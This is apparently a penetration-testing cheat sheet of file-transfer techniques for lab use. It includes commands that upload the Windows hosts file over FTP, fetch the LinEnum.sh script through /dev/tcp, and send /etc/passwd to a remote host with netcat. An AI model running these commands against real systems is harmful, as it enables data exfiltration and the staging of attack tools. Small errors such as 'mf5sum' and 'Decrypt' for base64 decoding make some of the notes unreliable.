echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> PUT c:\windows\system32\drivers\etc\hosts
ftp> bye
#Connect to the Target Webserver
exec 3<>/dev/tcp/10.10.10.32/80
#HTTP GET Request
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
#Print the Response
cat <&3
Netcat
To read files:
nc -nv 192.168.49.249 80 < /etc/passwd
To receive:
nc -nlvp 80
Using netcat to send files:
Target
nc -l -p 1234 -q 1 > something.zip < /dev/null
Attack
cat something.zip | netcat <ip> 1234
SSH
If creds are available
scp linenum.sh user@remotehost:/remote/path/
Base64
Use mf5sum command to verify and file command to check type
Linux
To get base64 output of the file:
base64 file -w 0
Decrypt
file command to validate
echo "base64 string" | base64 -d > file
Powershell
To verify: Get-FileHash C:\Users\Public\filename -Algorithm md5